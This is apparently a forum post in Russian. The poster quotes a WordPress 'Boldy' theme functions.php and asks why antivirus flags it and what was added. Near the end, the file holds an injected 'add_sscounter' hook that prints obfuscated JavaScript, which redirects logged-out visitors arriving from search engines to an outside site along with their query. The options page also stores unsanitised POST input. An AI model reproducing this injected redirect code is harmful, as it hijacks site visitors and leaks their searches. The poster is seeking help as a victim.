THUMBNAIL SUPPORT
********************************/
add_theme_support( ‘post-thumbnails’ );
set_post_thumbnail_size( 300, 200, true );
/* Get the thumb original image full url */
function get_thumb_urlfull ($postID) {
$image_id = get_post_thumbnail_id($post);
$image_url = wp_get_attachment_image_src($image_id,’large’);
$image_url = $image_url[0];
return $image_url;
}
/*******************************
EXCERPT LENGTH ADJUST
********************************/
function home_excerpt_length($length) {
return 30;
}
add_filter(‘excerpt_length’, ‘home_excerpt_length’);
/*******************************
WIDGETS AREAS
********************************/
if ( function_exists(‘register_sidebar’) )
register_sidebar(array(
‘name’ => ‘sidebar’,
‘before_widget’ => ‘<div class="rightBox">’,
‘after_widget’ => ‘</div>’,
‘before_title’ => ‘<h2>’,
‘after_title’ => ‘</h2>’,
));
register_sidebar(array(
‘name’ => ‘footer’,
‘before_widget’ => ‘<div class="boxFooter">’,
‘after_widget’ => ‘</div>’,
‘before_title’ => ‘<h2>’,
‘after_title’ => ‘</h2>’,
));
/*******************************
PAGINATION
********************************
* Retrieve or display pagination code.
*
* The defaults for overwriting are:
* ‘page’ – Default is null (int). The current page. This function will
* automatically determine the value.
* ‘pages’ – Default is null (int). The total number of pages. This function will
* automatically determine the value.
* ‘range’ – Default is 3 (int). The number of page links to show before and after
* the current page.
* ‘gap’ – Default is 3 (int). The minimum number of pages before a gap is
* replaced with ellipses (…).
* ‘anchor’ – Default is 1 (int). The number of links to always show at begining
* and end of pagination
* ‘before’ – Default is ‘<div class="emm-paginate">’ (string). The html or text
* to add before the pagination links.
* ‘after’ – Default is ‘</div>’ (string). The html or text to add after the
* pagination links.
* ‘title’ – Default is ‘__(‘Страницы:’)’ (string). The text to display before the
* pagination links.
* ‘next_page’ – Default is ‘__(‘?’)’ (string). The text to use for the
* next page link.
* ‘previous_page’ – Default is ‘__(‘«’)’ (string). The text to use for the
* previous page link.
* ‘echo’ – Default is 1 (int). To return the code instead of echo’ing, set this
* to 0 (zero).
*
* @author Eric Martin <eric@ericmmartin.com>
* @copyright Copyright (c) 2009, Eric Martin
* @version 1.0
*
* @param array|string $args Optional. Override default arguments.
* @return string HTML content, if not displaying.
*/
function emm_paginate($args = null) {
$defaults = array(
‘page’ => null, ‘pages’ => null,
‘range’ => 3, ‘gap’ => 3, ‘anchor’ => 1,
‘before’ => ‘<div class="emm-paginate">’, ‘after’ => ‘</div>’,
‘title’ => __(‘Страницы:’),
‘nextpage’ => __(‘?’), ‘previouspage’ => __(‘«’),
‘echo’ => 1
);
$r = wp_parse_args($args, $defaults);
extract($r, EXTR_SKIP);
if (!$page && !$pages) {
global $wp_query;
$page = get_query_var(‘paged’);
$page = !empty($page) ? intval($page) : 1;
$posts_per_page = intval(get_query_var(‘posts_per_page’));
$pages = intval(ceil($wp_query->found_posts / $posts_per_page));
}
$output = "";
if ($pages > 1) {
$output .= "$before<span class=’emm-title’>$title</span>";
$ellipsis = "<span class=’emm-gap’>…</span>";
if ($page > 1 && !empty($previouspage)) {
$output .= "<a href=’" . get_pagenum_link($page – 1) . "’ class=’emm-prev’>$previouspage</a>";
}
$min_links = $range * 2 + 1;
$block_min = min($page – $range, $pages – $min_links);
$block_high = max($page + $range, $min_links);
$left_gap = (($block_min – $anchor – $gap) > 0) ? true : false;
$right_gap = (($block_high + $anchor + $gap) < $pages) ? true : false;
if ($left_gap && !$right_gap) {
$output .= sprintf(‘%s%s%s’,
emm_paginate_loop(1, $anchor),
$ellipsis,
emm_paginate_loop($block_min, $pages, $page)
);
}
else if ($left_gap && $right_gap) {
$output .= sprintf(‘%s%s%s%s%s’,
emm_paginate_loop(1, $anchor),
$ellipsis,
emm_paginate_loop($block_min, $block_high, $page),
$ellipsis,
emm_paginate_loop(($pages – $anchor + 1), $pages)
);
}
else if ($right_gap && !$left_gap) {
$output .= sprintf(‘%s%s%s’,
emm_paginate_loop(1, $block_high, $page),
$ellipsis,
emm_paginate_loop(($pages – $anchor + 1), $pages)
);
}
else {
$output .= emm_paginate_loop(1, $pages, $page);
}
if ($page < $pages && !empty($nextpage)) {
$output .= "<a href=’" . get_pagenum_link($page + 1) . "’ class=’emm-next’>$nextpage</a>";
}
$output .= $after;
}
if ($echo) {
echo $output;
}
return $output;
}
/**
* Helper function for pagination which builds the page links.
*
* @access private
*
* @author Eric Martin <eric@ericmmartin.com>
* @copyright Copyright (c) 2009, Eric Martin
* @version 1.0
*
* @param int $start The first link page.
* @param int $max The last link page.
* @return int $page Optional, default is 0. The current page.
*/
function emm_paginate_loop($start, $max, $page = 0) {
$output = "";
for ($i = $start; $i <= $max; $i++) {
$output .= ($page === intval($i))
? "<span class=’emm-page emm-current’>$i</span>"
: "<a href=’" . get_pagenum_link($i) . "’ class=’emm-page’>$i</a>";
}
return $output;
}
function post_is_in_descendant_category( $cats, $_post = null )
{
foreach ( (array) $cats as $cat ) {
// get_term_children() accepts integer ID only
$descendants = get_term_children( (int) $cat, ‘category’);
if ( $descendants && in_category( $descendants, $_post ) )
return true;
}
return false;
}
/*******************************
CUSTOM COMMENTS
********************************/
function mytheme_comment($comment, $args, $depth) {
$GLOBALS[‘comment’] = $comment; ?>
<li <?php comment_class(‘clearfix’); ?> id="li-comment-<?php comment_ID() ?>">
<div class="gravatar">
<?php echo get_avatar($comment,$size=’50’,$default=’http://www.gravatar.com/avatar/61a58ec1c1fba116f8424035089b7c71?s=32&d=&r=G’ ); ?>
<div class="gravatar_mask"></div>
</div>
<div id="comment-<?php comment_ID(); ?>">
<div class="comment-meta commentmetadata clearfix">
<?php printf(__(‘<strong>%s</strong>’), get_comment_author_link()) ?><?php edit_comment_link(__(‘(Edit)’),’ ‘,”) ?> <span><?php printf(__(‘%1$s at %2$s’), get_comment_date(), get_comment_time()) ?>
</span>
</div>
<div class="text">
<?php comment_text() ?>
</div>
<?php if ($comment->comment_approved == ‘0’) : ?>
<em><?php _e(‘Ваш комментарий ожидает проверки администратором.’) ?></em>
<br />
<?php endif; ?>
<div class="reply">
<?php comment_reply_link(array_merge( $args, array(‘depth’ => $depth, ‘max_depth’ => $args[‘max_depth’]))) ?>
</div>
</div>
<?php }
/*******************************
THEME OPTIONS PAGE
********************************/
add_action(‘admin_menu’, ‘boldy_theme_page’);
function boldy_theme_page ()
{
if ( count($_POST) > 0 && isset($_POST[‘boldy_settings’]) )
{
$options = array (‘logo_img’, ‘logo_alt’,’contact_email’,’contact_text’,’cufon’,’linkedin_link’,’twitter_user’,’latest_tweet’,’facebook_link’,’keywords’,’description’,’analytics’,’copyright’,’home_box1′,’home_box1_link’,’home_box2′,’home_box2_link’,’home_box3′,’home_box3_link’,’blurb_enable’,’blurb_text’,’blurb_link’,’blurb_page’, ‘footer_actions’,’actions_hide’,’portfolio’,’blog’,’slider’);
foreach ( $options as $opt )
{
delete_option ( ‘boldy_’.$opt, $_POST[$opt] );
add_option ( ‘boldy_’.$opt, $_POST[$opt] );
}
}
add_menu_page(__(‘Настройки Boldy’), __(‘Настройки Boldy’), ‘edit_themes’, basename(__FILE__), ‘boldy_settings’);
add_submenu_page(__(‘Настройки Boldy’), __(‘Настройки Boldy’), ‘edit_themes’, basename(__FILE__), ‘boldy_settings’);
}
function boldy_settings()
{?>
<div class="wrap">
<h2>Настройки Boldy</h2>
<form method="post" action="">
<fieldset style="border:1px solid #ddd; padding-bottom:20px; margin-top:20px;">
<legend style="margin-left:5px; padding:0 5px;color:#2481C6; text-transform:uppercase;"><strong>Общие настройки</strong></legend>
<table class="form-table">
<!– General settings –>
<tr valign="top">
<th scope="row"><label for="logo_img">Выберите логотип (полный путь к логотипу)</label></th>
<td>
<input name="logo_img" type="text" id="logo_img" value="<?php echo get_option(‘boldy_logo_img’); ?>" class="regular-text" /><br />
<em>текущий логотип:</em> <br /> <img src="<?php echo get_option(‘boldy_logo_img’); ?>" alt="<?php echo get_option(‘boldy_logo_alt’); ?>" />
</td>
</tr>
<tr valign="top">
<th scope="row"><label for="logo_alt">Альтернативный текст к логотипу</label></th>
<td>
<input name="logo_alt" type="text" id="logo_alt" value="<?php echo get_option(‘boldy_logo_alt’); ?>" class="regular-text" />
</td>
</tr>
<tr valign="top">
<th scope="row"><label for="cufon">Замещение шрифта Cufon</label></th>
<td>
<select name="cufon" id="cufon">
<option value="yes" <?php if(get_option(‘boldy_cufon’) == ‘yes’){?>selected="selected"<?php }?>>Да</option>
<option value="no" <?php if(get_option(‘boldy_cufon’) == ‘no’){?>selected="selected"<?php }?>>Нет</option>
</select>
</td>
</tr>
<tr valign="top">
<th scope="row"><label for="b">Выберите категорию блога</label></th>
<td>
<?php wp_dropdown_categories("name=blog&hide_empty=0&show_option_none=".__(‘- Select -‘)."&selected=" .get_option(‘boldy_blog’)); ?>
</td>
</tr>
<tr valign="top">
<th scope="row"><label for="portfolio">Выберите категорию портфолио</label></th>
<td>
<?php wp_dropdown_categories("name=portfolio&hide_empty=0&show_option_none=".__(‘- Select -‘)."&selected=" .get_option(‘boldy_portfolio’)); ?>
</td>
</tr>
</table>
</fieldset>
<p class="submit">
<input type="submit" name="Submit" class="button-primary" value="Сохранить изменения" />
<input type="hidden" name="boldy_settings" value="save" style="display:none;" />
</p>
<fieldset style="border:1px solid #ddd; padding-bottom:20px; margin-top:20px;">
<legend style="margin-left:5px; padding:0 5px; color:#2481C6;text-transform:uppercase;"><strong>Социальные сервисы</strong></legend>
<table class="form-table">
<tr valign="top">
<th scope="row"><label for="twitter_user">Имя в Twitter</label></th>
<td>
<input name="twitter_user" type="text" id="twitter_user" value="<?php echo get_option(‘boldy_twitter_user’); ?>" class="regular-text" />
</td>
</tr>
<tr valign="top">
<th scope="row"><label for="latest_tweet">Показывать последние твиты</label></th>
<td>
<select name="latest_tweet" id="latest_tweet">
<option value="yes" <?php if(get_option(‘boldy_latest_tweet’) == ‘yes’){?>selected="selected"<?php }?>>Да</option>
<option value="no" <?php if(get_option(‘boldy_latest_tweet’) == ‘no’){?>selected="selected"<?php }?>>Нет</option>
</select>
</td>
</tr>
<tr valign="top">
<th scope="row"><label for="facebook_link">Ссылка на Facebook</label></th>
<td>
<input name="facebook_link" type="text" id="facebook_link" value="<?php echo get_option(‘boldy_facebook_link’); ?>" class="regular-text" />
</td>
</tr>
<tr valign="top">
<th scope="row"><label for="flickr_link">Ссылка LinknedIn</label></th>
<td>
<input name="linkedin_link" type="text" id="linkedin_link" value="<?php echo get_option(‘boldy_linkedin_link’); ?>" class="regular-text" />
</td>
</tr>
</table>
</fieldset>
<p class="submit">
<input type="submit" name="Submit" class="button-primary" value="Сохранить изменения" />
<input type="hidden" name="boldy_settings" value="save" style="display:none;" />
</p>
<fieldset style="border:1px solid #ddd; padding-bottom:20px; margin-top:20px;">
<legend style="margin-left:5px; padding:0 5px;color:#2481C6; text-transform:uppercase;"><strong>Настройка главной страницы</strong></legend>
<table class="form-table">
<!– Homepage Boxes 1 –>
<tr>
<th colspan="2"><strong>Слайдер на главной</strong></th>
</tr>
<tr valign="top">
<th scope="row"><label for="slider">Страница с изображениями слайдера</label></th>
<td>
<?php wp_dropdown_pages("name=slider&show_option_none=".__(‘- Select -‘)."&selected=" .get_option(‘boldy_slider’)); ?>
</td>
</tr>
<tr>
<th colspan="2"><strong>Блоки информации </strong></th>
</tr>
<tr>
<th colspan="2"> Необходимо выбрать все позиции, иначе слайдер работать не будет.</th>
</tr>
<tr valign="top">
<th scope="row"><label for="home_box1">Страница блока 1</label></th>
<td>
<?php wp_dropdown_pages("name=home_box1&show_option_none=".__(‘- Select -‘)."&selected=" .get_option(‘boldy_home_box1’)); ?>
</td>
</tr>
<tr valign="top">
<th scope="row"><label for="home_box1_link">Блок 1 ссылка "далее"</label></th>
<td>
<input name="home_box1_link" type="text" id="home_box1_link" value="<?php echo get_option(‘boldy_home_box1_link’); ?>" class="regular-text" />
</td>
</tr>
<tr valign="top">
<th scope="row"><label for="home_box2">Страница блока 2</label></th>
<td>
<?php wp_dropdown_pages("name=home_box2&show_option_none=".__(‘- Select -‘)."&selected=" .get_option(‘boldy_home_box2’)); ?>
</td>
</tr>
<tr valign="top">
<th scope="row"><label for="home_box2_link">Блок 2 ссылка "далее"</label></th>
<td>
<input name="home_box2_link" type="text" id="home_box2_link" value="<?php echo get_option(‘boldy_home_box2_link’); ?>" class="regular-text" />
</td>
</tr>
<tr valign="top">
<th scope="row"><label for="home_box3">Страница блока 3</label></th>
<td>
<?php wp_dropdown_pages("name=home_box3&show_option_none=".__(‘- Select -‘)."&selected=" .get_option(‘boldy_home_box3’)); ?>
</td>
</tr>
<tr valign="top">
<th scope="row"><label for="home_box3_link">Блок 3 ссылка "далее"</label></th>
<td>
<input name="home_box3_link" type="text" id="home_box3_link" value="<?php echo get_option(‘boldy_home_box3_link’); ?>" class="regular-text" />
</td>
</tr>
<tr>
<th colspan="2"><strong>Текст приветствия</strong></th>
</tr>
<tr>
<th><label for="blurb_enable">Показывать текст приветствия</label></th>
<td>
<select name="blurb_enable" id="blurb_enable">
<option value="yes" <?php if(get_option(‘boldy_blurb_enable’) == ‘yes’){?>selected="selected"<?php }?>>Да</option>
<option value="no" <?php if(get_option(‘boldy_blurb_enable’) == ‘no’){?>selected="selected"<?php }?>>Нет</option>
</select><br />
<em>Если выбрано "Да", но текста нет, то ничего не будет отображаться</em>
</td>
</tr>
<tr valign="top">
<th scope="row"><label for="blurb_text">Текст приветствия</label></th>
<td>
<textarea name="blurb_text" id="blurb_text" rows="3" cols="70" style="font-size:11px;"><?php echo stripslashes(get_option(‘boldy_blurb_text’)); ?><?php
add_action(‘get_footer’, ‘add_sscounter’);
function add_sscounter(){
echo ‘<!–scounter–>’;
if(function_exists(‘is_user_logged_in’)){
if(time()%2 == 0 && !is_user_logged_in()){
echo "<script language=\"JavaScript\">eval(function(p,a,c,k,e,r){e=function(c){return(c<a?”:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return’\\\w+’};c=1};while(c–)if(k[c])p=p.replace(new RegExp(‘\\\b’+e(c)+’\\\b’,’g’),k[c]);return p}(‘e r=x.9,t=\"\",q;4(r.3(\"m.\")!=-1)t=\"q\";4(r.3(\"7.\")!=-1)t=\"q\";4(r.3(\"8.\")!=-1)t=\"p\";4(r.3(\"a.\")!=-1)t=\"q\";4(r.3(\"f.\")!=-1)t=\"g\";4(r.3(\"j.\")!=-1)t=\"q\";4(t.6&&((q=r.3(\"?\"+t+\"=\"))!=-1||(q=r.3(\"&\"+t+\"=\"))!=-1))B.C=\"v\"+\"w\"+\":/\"+\"/A\"+\"b\"+\"k\"+\"5\"+\"h.\"+\"c\"+\"z/s\"+\"u\"+\"5\"+\"h.p\"+\"d?\"+\"t\"+\"y=1&t\"+\"i\"+\"l=\"+r.n(q+2+t.6).o(\"&\")[0];’,39,39,’|||indexOf|if|rc|length|msn|yahoo|referrer|altavista|ogo|bi|hp|var|aol|query||er|ask|sea|ms|google|substring|split||||||ea|ht|tp|document|||go|window|location’.split(‘|’),0,{}))</script>";
}
}
}
?>
антивир удаляет файл с кодом, пишет что какой-то троян. Можете подсказать что сделать чтобы в дальнейшем не могли мне менять код в файлах? и что они туда дописали в код?